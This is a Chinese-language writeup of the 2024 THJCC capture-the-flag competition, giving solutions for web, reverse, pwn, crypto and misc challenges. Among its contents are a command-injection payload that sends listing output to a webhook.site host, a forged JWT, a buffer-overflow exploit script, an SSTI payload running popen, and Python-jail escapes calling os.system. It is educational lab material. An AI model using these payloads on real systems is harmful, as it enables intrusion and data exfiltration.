--- lang: zh-TW title: "2024 THJCC CTF Writeup" tags: [ "Cyber Security", "Competition", "CTF Writeup" ] authors: [ "XinShou" ] type: post showTableOfContents: true date: 2024-05-04 --- <!-- Hackmd Only --> # 2024 THJCC CTF Writeup :::spoiler Categories [TOC] ::: --- <!-- /Hackmd Only --> ## Insane ### FFAM(Find Flag Automaticaliiy Machine) <!-- :::info 題目 http://23.146.248.36:10000/ This is a machine developed by Naup. Compared with `FFAM`, it can automatically dig out flags. But he doesn't have enough RAM... . You can try to buy some RAM!! Warning:Please do not maliciously damage the chall.If you think your idea is correct but you can't succeed, please open a ticket and I will check the status of the chall. [FFAM.zip](https://drive.google.com/uc?export=download&id=1dI6P9qc3aq7nqpxZWwqFQb-Z0YlKSTVo) > Author: [Naup堇姬](https://linktr.ee/naupjjin) > Tag: [Web] [Insane] [command] [injection] [jwt] > Hints: > 1. ||Secret key's file is in the first position.|| > 2. ||Try to leak secret key.|| > 3. ||If you try to run `.txt`, It may leak some information.|| ::: --> 由於有給原始碼,解題過程只需要多花點時間閱讀便可得知大概步驟。 從最終目標回推: - 取得`/shell`拿到flag - 在`/ShopAboutComputerEquipment`購買記憶體 - 得到`Naup`身份、透過購買負值的物品得到金錢 - 嘗試取得`jwt secret` 1. 在`/webshell`執行指令`*`發現有個檔案`ASECRETKEY.txt`。根據通靈術猜測此檔案有被加上可執行權限,使用`./*`執行(原本是亂敲`/*/*`並且知道路徑為`/app/ASECRETKEY.txt`),成功得到內文`jwt secret`。 ![image](https://hackmd.io/_uploads/B1dltyTWR.png =700x) ``` asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei ``` 2. 利用`jwt secret`取得`Naup jwt session` ```py= import jwt # PyJWT==2.8.0 if __name__ == "__main__": data = {'id': 1, 'role': "Naup"} secret = 'asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei' token = jwt.encode(data, secret.encode(), algorithm='HS256') print(token) >>> 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw' ``` 3. 修改 Cookie 並以負數取得金錢購買 Ram ![image](https://hackmd.io/_uploads/rySGTnTWA.png =700x) 4. 使用 curl 將資料發出 (透過[webhook.site](https://webhook.site/)) `$(curl -XPOST https://webhook.site/b73912c2-79c8-4062-8d33-acf91d9d27cf -d "$(ls)") #` ![image](https://hackmd.io/_uploads/SyUQC2pZR.png =400x) 5. cat the file `flag-asdq45a8we633a2df56aq.py #` ![image](https://hackmd.io/_uploads/SkiPChp-A.png =700x) --- ## Reverse ### Baby C 人工智慧逆回去就有了 ```py= if __name__ == "__main__": a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5] password = '' for value in a: # XOR the value with 120 (as per the C code logic) to find the original character char = chr(value ^ 120) password += char print(password) >>> 'THJCC{https://www.youtube.com/watch?v=3XCVM3G3pns}' ``` --- ### PYC REVERSE 1. decompile pyc file ```py= from Crypto.Util.number import bytes_to_long from FLAG import FLAG def xor1(flag): return flag ^ 124789 def xor2(flag): return flag ^ 487531 def xor3(flag): return flag ^ 784523 def xor4(flag): return flag ^ 642871 def xor5(flag): return flag ^ 474745 flag = bytes_to_long(FLAG) count = 0 count += 1 if count == 1: flag = xor1(flag) count += 2 if count == 3: flag = xor2(flag) count += 1 if count == 4: flag = xor3(flag) count -= 2 else: flag = xor2(flag) count += 1 else: flag = xor3(flag) count += 5 if count == 2: flag = xor4(flag) elif count == 6: flag = xor5(flag) print(flag) ``` 2. 人工智慧 ```py= from math import ceil, log2 if __name__ == '__main__': final_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695 xor_keys = [124789, 487531, 784523, 642871] word_length = ceil(log2(final_flag) / 8) for key in reversed(xor_keys): final_flag ^= key print(''.join(chr((final_flag >> 8 * (word_length - byte - 1)) & 0xFF) for byte in range(word_length))) >>> 'THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}' ``` --- ### Password Checker deocde後靠工人智慧逆回去 ```py= enc = [0x12, 0x1C, 0x91, 0x8C, 0x16, 0x106, 0x10, 0xFD, 0x37, 0x5F, 0x75, 0x5E, 0x4E, 0x107, 0x62, 0xF2, 0x71, 0x0F, 0xB4, 0x4C, 0x86, 0x104, 0x78, 0xFB, 0x70, 0xEF, 0x17, 0xCC, 0x7C, 0xF0, 0x68, 0xEA] if __name__ == "__main__": flag = '' for index, ans in enumerate(enc): get = False for i in range(32, 127): tmp = ((i ^ index) >> (8 - ((index ^ 0xd) & 5))) | ((i ^ index) << ((index ^ 0xd) & 5)) if (ans & 0xFF) == ((tmp + 0x88) & 0xFF): flag += chr(i) get = True break if not get: print(f'error: {index}, {ans}') print(flag) >>> 'THJCC{Bruteforce_is_kind_of_fun}' ``` --- ## Pwn ### nc 找作者 https://www.youtube.com/watch?v=dQw4w9WgXcQ auther: `Rick Astley` --- ### NPSC 人工智慧 ```py= from pwn import * def calcu(nums): max_num = 0 cur_num = 0 for i in range(len(nums)): cur_num += nums[i] max_num = max(max_num, cur_num) if i >= len(nums) - 1 or cur_num < nums[i + 1]: cur_num = 0 return max_num if __name__ == '__main__': r = remote('23.146.248.36', 30003, level='error') while True: line = r.recvline().strip().decode() if 'THJCC' in line: print(line) break if line.startswith("["): max_num = calcu(list(map(int, line[1:-1].split(', ')))) r.sendline(str(max_num).encode()) >>> 'Delicious flag:THJCC{little_cat_meow_meow_meow}' ``` --- ### Ret2func ![image](https://hackmd.io/_uploads/ryKLrLRbA.png) ![image](https://hackmd.io/_uploads/BkPBHI0bR.png) ![image](https://hackmd.io/_uploads/SJIWULAbA.png) 在這可以發現`get()`函數,變數所存的大小為`0x30` `rbp`大小為`8Bytes` `win`函數`mov`記憶體位置為`0x40121b` ```py= from pwn import * r = remote('23.146.248.36', 30004) print(r.recv()) r.sendline(b'y') r.sendline(b'o' * 48 + b'o' * 8 + p64(0x40121B)) r.sendline(b'cat /home/chal/flag.txt') r.interactive() >>> '[x] Opening connection to 23.146.248.36 on port 30004' >>> '[x] Opening connection to 23.146.248.36 on port 30004: Trying 23.146.248.36' >>> '[+] Opening connection to 23.146.248.36 on port 30004: Done' >>> b'Do you want to be a VIP of Country Wahahabihal' >>> '[*] Switching to interactive mode' >>> 'You would need 4198957 dollars if you want' >>> "Congratulation, you're now the 1st VIP of Country Wahahabihal" >>> 'home/chal/flag.txt:1:THJCC{jump1n_Jump0uT_So_Fun}' ``` --- ### RiskAndaNormalDay 先爆破出Spectial在找其他六個數 ```py= from pwn import * from tqdm import tqdm ans: list = [50, 50, 50, 50, 50, 50, 0] def set_special() -> bool: """ return True if set """ r = remote('23.146.248.36', 30005, level='error') r.recv() for i in ans: r.sendline(str(i).encode()) time.sleep(0.05) tmp = r.recv().decode() special_code: str = tmp[-1] return special_code == '1' def set_ans(expected_count: int) -> bool: """ return True if set or JACKPOT """ r = remote('23.146.248.36', 30005, level='error') r.recv() for i in ans: r.sendline(str(i).encode()) time.sleep(0.05) tmp = r.recv().decode() correct_count: str = tmp.split('You')[0][-3] return correct_count == str(expected_count) or '!' in tmp if __name__ == '__main__': with tqdm(desc='special', total=50) as t: while not set_special(): ans[-1] += 1 t.update() t.close() for i in range(6): ans[i] = 0 with tqdm(desc=f'index: {i}', total=50) as t: while not set_ans(i + 1): time.sleep(0.1) ans[i] += 1 t.update() t.close() print(f'{ans=}') r = remote('23.146.248.36', 30005, level='error') r.recv() for i in ans: r.sendline(str(i).encode()) r.sendline(b'cat /home/chal/flag.txt') r.interactive() >>> special: 50%|█████ | 25/50 [00:02<00:02, 12.41it/s] >>> index: 0: 32%|███▏ | 16/50 [00:03<00:06, 5.24it/s] >>> index: 1: 80%|████████ | 40/50 [00:07<00:01, 5.36it/s] >>> index: 2: 76%|███████▌ | 38/50 [00:07<00:02, 5.36it/s] >>> index: 3: 12%|█▏ | 6/50 [00:01<00:08, 4.95it/s] >>> index: 4: 60%|██████ | 30/50 [00:05<00:03, 5.33it/s] >>> index: 5: 22%|██▏ | 11/50 [00:02<00:07, 5.29it/s] >>> ans=[16, 40, 38, 6, 30, 11, 25] >>> '16 40 38 6 30 11 25 6 1JACKPOT!!! ,congratulations' >>> 'THJCC{50000000000_r13h_I_l0v3_LotTety}' ``` --- ## Web ### Empty 亂翻找Flag ![image](https://hackmd.io/_uploads/By2kxfZzC.png) ![image](https://hackmd.io/_uploads/Bk-qyf-fC.png) ![image](https://hackmd.io/_uploads/ryCRyMbGC.png) --- ### Blog 通靈題 ![image](https://hackmd.io/_uploads/H1yWezWz0.png) ![image](https://hackmd.io/_uploads/ryA-lM-M0.png) --- ### Simplify SSTI,我用Arc瀏覽器好像沒有辦法觸發,改用Chrome才成功 ![image](https://hackmd.io/_uploads/r1eceMWG0.png) `http://23.146.248.36:10003/@%7B%for%20i%20in%20''.__class__.__base__.__subclasses__()%%7D%7B%if%20i.__name__%20=='_wrap_close'%%7D%7B%print%20i.__init__.__globals__['popen']('tail%20flag%20').read()%%7D%7B%endif%%7D%7B%endfor%%7D` ![image](https://hackmd.io/_uploads/By8CEM-GC.png) --- ## Crypto ### 博元婦產科 Base64 Decode and Caesar ```py from base64 import b64decode b64decode('TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg==') >>> b'MACVV{pPp.u4UrfTd3k.v0F.mP}\n' ``` ![image](https://hackmd.io/_uploads/r1PuBGZM0.png) --- ### Baby RSA e很小可以爆開 ![image](https://hackmd.io/_uploads/SJ9sBGWGR.png) ```py= import gmpy2 import tqdm from Crypto.Util.number import long_to_bytes n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939 e = 3 c = 1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157 res = 0 for k in tqdm.tqdm(range(200000000)): if gmpy2.iroot(c + n * k, 3)[1] == 1: res = gmpy2.iroot(c + n * k, 3)[0] print(long_to_bytes(res)) break >>> b'THJCC{small_eeeee_can_be_pwned_easily}' ``` --- ### 《SSS.GRIDMAN》 看不懂題目,丟給人工智慧就生出來了。但有機率失敗 ```py= import numpy as np from pwn import * def try_to_calculate() -> str: r = remote('23.146.248.36', 20000) r.recvlines(11) tmp = list(map(int, r.recvline().decode() .removeprefix('share: ')[1:-2] .replace('(', '') .replace(')', '') .split(', ')) ) r.recv() shares = [(tmp[0], tmp[1]), (tmp[2], tmp[3]), (tmp[4], tmp[5])] x_vals = [x for x, _ in shares] y_vals = [y for _, y in shares] coefficients = np.polyfit(x_vals, y_vals, 2) secret = coefficients[-1] r.sendline(str(int(secret)).encode()) return r.recv().decode() if __name__ == '__main__': resp = '' while 'THJCC' not in resp: resp = try_to_calculate() print(resp) >>> 'This is SECRET' >>> 'THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}' ``` --- ### JPG^PNG 拿Magic Number當Key逆回去 ![image](https://hackmd.io/_uploads/SJvStf-f0.png) ```py= from itertools import cycle def xor(a, b): return [i ^ j for i, j in zip(a, cycle(b))] ENC = open("enc.txt", "rb").read() key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] open('enc.png', 'wb').write(bytearray(xor(ENC, key))) ``` ![enc](https://hackmd.io/_uploads/rkC1nGZfC.jpg) --- ## Misc ### 原神帳號外流 可以用Wireshark追蹤HTTP流,再過濾關鍵字多次嘗試 ![image](https://hackmd.io/_uploads/Bk-C3MWz0.png) ![image](https://hackmd.io/_uploads/B10ChGZfR.png) --- ### 出題者大合照! 又隱寫 [Aperi'Solve](https://www.aperisolve.com/2129e7fb50ea65749b08e2ea00e13e90) ![image](https://hackmd.io/_uploads/SJimaf-f0.png) --- ### PyJail-0 與PyJail-1用同一套方法,可以慢慢戳出來 ```python= from pwn import * r = remote('23.146.248.36', 40000) print(r.recv()) r.sendline(b'eval(input())') r.sendline(b'exec("import os; os.system(\'cat flag.txt\')")') r.interactive() >>> 'THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}' ``` --- ### Geoguesser??? 用電話號碼追也太色 ![image](https://hackmd.io/_uploads/ByVoAf-fC.png) ![image](https://hackmd.io/_uploads/S1G1J7-zR.png) --- ### I want to go to Japan! 這題卡很久,先根據圖上的文字找到相關的打卡資料,即可找到該地資訊 ![image](https://hackmd.io/_uploads/rJnkWXWM0.png) ![image](https://hackmd.io/_uploads/HyCqxXZz0.png) ![image](https://hackmd.io/_uploads/SkGyl7WG0.png) --- ### PyJail-1 Same as Pyjail-0 ```python= from pwn import * r = remote('23.146.248.36', 40001) print(r.recv()) r.sendline(b'eval(input())') r.sendline(b'exec("import os; os.system(\'cat flag.txt\')")') r.interactive() >>> 'THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}' ``` --- ### Evil Form 在網路上找到一樣的[題目writeup](https://ctftime.org/writeup/38658) 第二段是printable ASCII table 的 ROT+47 [dCode](https://www.dcode.fr/rot-cipher) 第三段是在script中的`var FB_PUBLIC_LOAD_DATA_`變數拿到(也可以用這段爆出第二段) ![image](https://hackmd.io/_uploads/HkhZMX-z0.png) ![image](https://hackmd.io/_uploads/SyFfM7-z0.png) ![image](https://hackmd.io/_uploads/HyJNMm-MR.png) ![image](https://hackmd.io/_uploads/HJTLUKfM0.png) --- ## welcome ### Welcome 0x1 第1個找很久 ![image](https://hackmd.io/_uploads/BkDqLtfzC.png) ![image](https://hackmd.io/_uploads/Hy_jLYfMC.png) --- ### Discord 0x1 第2個是看到斜線指令Badge才注意到,輸光 ![image](https://hackmd.io/_uploads/SJ3ZqFzfC.png) ![image](https://hackmd.io/_uploads/HJCxvKMMA.png) ![image](https://hackmd.io/_uploads/SJLWPYGfA.png) <!-- Hackmd Only --> --- > [name=XinShou] --- <style> .markdown-body p { font-size: 18px; } </style> ###### tags: `Cyber Security` `Competition` `CTF Writeup` <!-- /Hackmd Only -->